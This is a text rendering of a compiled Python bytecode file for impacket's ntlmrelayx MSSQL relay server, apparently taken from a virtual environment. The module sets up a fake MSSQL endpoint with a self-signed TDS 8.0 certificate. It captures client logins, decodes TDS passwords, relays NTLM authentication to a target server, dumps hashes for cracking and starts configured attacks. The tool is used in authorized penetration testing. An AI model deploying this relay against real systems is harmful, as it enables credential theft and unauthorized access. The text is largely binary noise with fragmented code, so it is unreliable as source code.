o
    j.Z                     @   s   d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlmZmZmZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ G dd de
ZdS )    N)Thread)ntlmtdsLOG)outputToJohnFormatwriteJohnOutputToFile)parse_target)STATUS_SUCCESS)NTLMAuthChallenge)TargetsProcessor)activeConnections)get_addressc                   @   sD   e Zd ZG dd dejejZG dd dejZdd Z	dd Z
d	S )
MSSQLRelayServerc                   @   s    e Zd Zdd Zedd ZdS )zMSSQLRelayServer.MSSQLServerc                 C   sP   || _ d| _t|d |d | j j\| _}dtj_tj| || | 	 | _
d S )NTr      )configdaemon_threadsr   ipv6address_familysocketserver	TCPServerallow_reuse_address__init___create_ssl_contextssl_context)selfserver_addressRequestHandlerClassr    r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/mssqlrelayserver.pyr   /   s   z%MSSQLRelayServer.MSSQLServer.__init__c               	   C   sx  ddl m}  ddlm} ddlm}m} ddlm} |j	ddd}| 
| |jd	g }}tjtjj}|  ||| |  ||tjd
d || }	|	|jj}
||jj|j j!|" }t#$t#j%}t#j&j'|_(|)d |*dg t+j,dddd}|-|
|  |j.}W d   n1 sw   Y  z|/| W t01| |S t01| w )zICreate an SSL context with a self-signed certificate for TDS 8.0 support.r   )x509)NameOID)hashesserialization)rsai  i   )public_exponentkey_sizeMSSQLSERVERim  )dayszALL:@SECLEVEL=0ztds/8.0wbz.pemF)modesuffixdeleteN)2cryptographyr   cryptography.x509.oidr    cryptography.hazmat.primitivesr!   r"   )cryptography.hazmat.primitives.asymmetricr#   generate_private_keyNameNameAttributeCOMMON_NAMEdatetimenowtimezoneutcCertificateBuildersubject_nameissuer_name
public_keyserial_numberrandom_serial_numbernot_valid_beforenot_valid_after	timedeltasignSHA256public_bytesEncodingPEMprivate_bytesPrivateFormatTraditionalOpenSSLNoEncryptionssl
SSLContextPROTOCOL_TLS_SERVER
TLSVersionMINIMUM_SUPPORTEDminimum_versionset_ciphersset_alpn_protocolstempfileNamedTemporaryFilewritenameload_cert_chainosunlink)r   r    r!   r"   r#   keysubjectissuerr5   certcert_pemkey_pemctxftmpfiler   r   r   r   7   sJ   





z0MSSQLRelayServer.MSSQLServer._create_ssl_contextN)__name__
__module____qualname__r   staticmethodr   r   r   r   r   MSSQLServer-   s    rf   c                       sd   e Zd Z fddZdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dd Zdd Z  ZS )zMSSQLRelayServer.MSSQLHandlerc           
         s   || _ d | _d | _d | _d | _d | _d| _| j jj | _| jd u r-t	
d|d   d S t	
d|d | jj| jjf  |d | _d| jjv rW| jjd\}}t|| _n| jj}d| _t|\}}}}	|d u rld}|	| _t ||| d S )NFzI(MSSQL): Received connection from %s, but there are no more targets left!r   z>(MSSQL): Received connection from %s, attacking target %s://%s:   )serverchallengeMessagetargetclientauthUserclient_address	tds8_moder   	getTargetr   infoschemenetlocsplitinttarget_portr   
remoteNamesuperr   )
r   requestro   rj   target_stringportdomainusernamepasswordrx   	__class__r   r   r   g   s.   
 
z&MSSQLRelayServer.MSSQLHandler.__init__c                 C   s`   | j j | jjjv r(| jjj| j j  | jj| j dd}| s&td|S td| j j )NT)extendedSecurityzCould not initialize connectionz!Protocol Client for %s not found!)rl   rs   upperrj   r   protocolClientsinitConnection	Exception)r   rm   r   r   r   init_client   s   &z)MSSQLRelayServer.MSSQLHandler.init_clientc                 C   s   t dd t|D S )Nc                 s   s0    | ]}|d A d@ d> |d A d@ d? B V  qdS )            Nr   ).0xr   r   r   	<genexpr>   s   . z@MSSQLRelayServer.MSSQLHandler.decryptPassword.<locals>.<genexpr>)bytes	bytearray)r   r   r   r   r   decryptPassword   s   z-MSSQLRelayServer.MSSQLHandler.decryptPasswordc                 C   s
   | j d S )N
TDSVersion)login)r   r   r   r   getLoginTDSVersion   s   
z0MSSQLRelayServer.MSSQLHandler.getLoginTDSVersionc                 C   sX   d}t ||k r*| j|t | }|s t |dkrdS td||7 }t ||k s|S )N    r   z#Client closed connection mid-packet)lenrz   recvConnectionError)r   sizedatachunkr   r   r   _recv_exact   s   z)MSSQLRelayServer.MSSQLHandler._recv_exactc                 C   s   |  d}|s	d S t|}|d d }|dkr|  |nd|d< |d }|tjkrl|  d}|s5tdt|}|d d }|dkrI|  |nd|d< |d  |d 7  < |d  |d d 7  < |d }|tjks*|S )N   Lengthr   r   DataStatusz$Client closed connection mid-message)r   r   	TDSPacketTDS_STATUS_EOMr   )r   headerpacketdata_lenstatusnext_headernext_packetnext_data_lenr   r   r   _recv_tds_packet   s(   





z.MSSQLRelayServer.MSSQLHandler._recv_tds_packetc                 C   s  t  }| jjjrt j}n|  }||d< | jj| ddd t	dD 
d|d< | jd |d< | jj
d|d	< | jd |d
< tdd|d< | jjj|d< | jjjrmtd| jjj  | jjj
d|d< ntd| jd d  d|d< t jt jB t jB |d< ||d< t| |d< | jjt j|  | jjjs| jjjd t j krd | jj_!| jj" }|| jjj#d< t$ }|%|d dd   |S )Nr   ri   c                 S   s   g | ]}t tjqS r   )randomchoicestringascii_letters)r   _r   r   r   
<listcomp>   s    z?MSSQLRelayServer.MSSQLHandler.sendNegotiate.<locals>.<listcomp>r   utf-16leHostNameAppName
ServerName
CltIntNamer   i   	ClientPID
PacketSizez$(MSSQL): Changing the database to %sDatabasez(MSSQL): Removed the original database: %s, the database is empty now. Change the --mssql-db setting if you want to specify the databaseutf-8r   OptionFlags2SSPIr   
EncryptionNTLM_CHALLENGEr      )&r   	TDS_LOGINrm   sessiontds8TDS_LOGIN7_VERSION_74r   _set_session_login7_tds_versionjoinrangeencoder   rl   hostnamer   randint
packetSizerj   r   databaser   rr   debugdecodeTDS_INIT_LANG_FATALTDS_ODBC_ONTDS_INTEGRATED_SECURITY_ONr   getDatasendTDS
TDS_LOGIN7respTDS_ENCRYPT_OFF	tlsSocketrecvTDSsessionDatar
   
fromString)r   negotiateMessager   login_tds_versiontds_response	challenger   r   r   sendNegotiate   s8   
"

z+MSSQLRelayServer.MSSQLHandler.sendNegotiatec                 C   s  |   }t|rt }t }nt }t }dd}dd}d}tj|d< d|d< d|d	< d
|d< ||d< t	|d |d< ||d< t	|d |d< ||d< t	|d |d< d|d< tj
|d< d|d< d|d< d|d< t }tj|d< | |  |d< | j|  d S )NzLogin failed for user ''.r   r&   r   	TokenTypeiH  Numberr   State   ClassMsgText   
MsgTextLenr   ServerNameLenProcNameProcNameLen
LineNumberr   r   CurCmdDoneRowCountTyper   )r   r    login7_uses_72_plus_token_layoutTDS_INFO_ERROR72
TDS_DONE72TDS_INFO_ERRORTDS_DONEr   TDS_ERROR_TOKENr   TDS_DONE_TOKENr   TDS_TABULARr   rz   send)r   r   responseDatadoneDatamsgrj   procresponsePacketr   r   r   sendLoginFailed   s:   






z-MSSQLRelayServer.MSSQLHandler.sendLoginFailedc              
   C   s  z| j dtj}|sW d S d| _|d dkrRtd| j  d| _z| jj	j
| j dd| _ W n tjyL } ztd|  W Y d }~W d S d }~ww td	 	 |  }|d u r^W d S |d
 tjkrtd |  | _td t }d|d< | jrtj|d< ntj|d< d|d< tdtdd|d< t }tj|d
< | |d< | j |  n|d
 tjkrtd t }| |d  td |d rtd|d !d  |d rtd|d !d  |d rtd|d !d  |d rtd |d !d  |d! r#td"|d! !d  |d# r4td$|d# !d  |d% rO| "|d% }t#d&|!d  t#d' || _$|d( shtd) td* | %  W d S |d( }| j&j'( d+krz| j)| j_)| j)|| _*t+,t-| j*}	t }
tj|
d
< tj.|
d,< d|
d-< td.tj/t0|	|	 |
d< | j |
  n|d
 tj1krtd* | %  t23 }| |d  td/ t4| j5|d vr|d0 t2j6@ rtd1| j&j'| j&j7|d2 !d3|d4 !d3f  ntd1| j&j'| j&j7|d2 !d5|d4 !d5f  n| j8  |d0 t2j6@ rIt#d6|d2 !d3|d4 !d3| jd | j&j'| j&j7| jj9f  n t#d6|d2 !d5|d4 !d5| jd | j&j'| j&j7| jj9f  t:| j*d7 |d4 |d2 |d8 |d9 }|| jj;d:< | jj<j=du rt#d;|d<   | jj<j>d urt?|d< |d= | jj<j> |@ | _A| jj<j&B| j&d| jA | C  ntd> W d S qS tDy } zt#d?|  W Y d }~d S d }~ww )@Nr   Fr      z2(MSSQL): Detected TDS 8.0 (TLS) connection from %sT)server_sidez!(MSSQL): TLS handshake failed: %sz((MSSQL): TDS 8.0 TLS handshake completedr   z,(MSSQL): Receieved TDS pre-login from clientz9(MSSQL): Sending our own TDS pre-login response to clients    :  Versionr       Instancez<Li  ThreadIDr   z+(MSSQL): Parsing the client's login requestz(MSSQL): Client login request:r   z(MSSQL): Hostname    : %sr   r   z(MSSQL): Server Name : %sr   z(MSSQL): Client Name : %sr   z(MSSQL): App Name    : %sr   z(MSSQL): Database    : %sUserNamez(MSSQL): Username    : %sPasswordz(MSSQL): Password    : %sz6(MSSQL): Password is not empty. Relay is not required.r   z5(MSSQL): NTLMSSP_NEGOTIATE not found in login messagez5(MSSQL): Sending our own error response to the clientMSSQLr   PacketIDz<BHz*(MSSQL): Relaying authentication to serverflagsz7(MSSQL): Authenticating against %s://%s as %s/%s FAILEDdomain_namer   	user_nameasciizM(MSSQL): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]r   lanmanr   JOHN_OUTPUTz	(RAW): %shash_stringhash_versionz(MSSQL): Something went wrongz4(MSSQL): An error occurred during packet capture: %s)Erz   r   socketMSG_PEEKrp   r   r   ro   rj   r   wrap_socketrJ   SSLErrorerrorr   r   TDS_PRE_LOGINr   rm   TDS_PRELOGINTDS_ENCRYPT_STRICTTDS_ENCRYPT_NOT_SUPstructpackr   r   r   r   r   r   r   r   r   r   r   rr   r   r   rl   rs   r   r   rk   r   fromhexstrr   TDS_SSPI_TOKENr   TDS_SSPIr   NTLMAuthChallengeResponser	   sendAuthNTLMSSP_NEGOTIATE_UNICODErt   setClientId	client_idr   r   r   
dumpHashes
outputFiler   getUserStringrn   registerTarget	do_attackr   )r   
first_byteer   preloginResponseDatapreloginResponse	loginDatar   r   r   r   authenticateMessagentlm_hash_datar   r   r   handle  s   

























@



 z$MSSQLRelayServer.MSSQLHandler.handlec                 C   s   | j jjr*| jj | j jjjv r*t	| jj
| jj| jj | j| j| jjf d S | jj | j jjv rS| j jj| jj  | j j| jj| j| j| j}|  d S td| jj   d S )Nz$(MSSQL): No attack configured for %s)rj   r   runSocksrl   rs   r   socksServersupportedSchemesr   putr   rm   
targetPortrn   r   attacksr   startr   r  )r   clientThreadr   r   r   r&    s   "0z'MSSQLRelayServer.MSSQLHandler.do_attack)rb   rc   rd   r   r   r   r   r   r   r   r   r.  r&  __classcell__r   r   r   r   MSSQLHandlere   s    "	.$ r8  c                 C   s    t |  d| _|| _d | _d S )NT)r   r   daemonr   rj   )r   r   r   r   r   r     s   

zMSSQLRelayServer.__init__c                 C   s~   | j jr	| j j}nd}tdt|  | | j j|f| j| j | _z| j	  W n	 t
y2   Y nw td | j  d S )Nrh   z Setting up MSSQL Server on port zShutting down MSSQL Server)r   listeningPortr   rr   r  rf   interfaceIpr8  rj   serve_foreverKeyboardInterruptserver_close)r   	mssqlportr   r   r   run  s   

zMSSQLRelayServer.runN)rb   rc   rd   r   ThreadingMixInr   rf   BaseRequestHandlerr8  r   r@  r   r   r   r   r   +   s    8  Ur   )r   r   r   r  r  rJ   rW   rR   r4   	threadingr   impacketr   r   r   impacket.smbserverr   r   impacket.examples.utilsr   impacket.nt_errorsr	   impacket.ntlmr
   /impacket.examples.ntlmrelayx.utils.targetsutilsr   0impacket.examples.ntlmrelayx.servers.socksserverr   r   r   r   r   r   r   <module>   s&   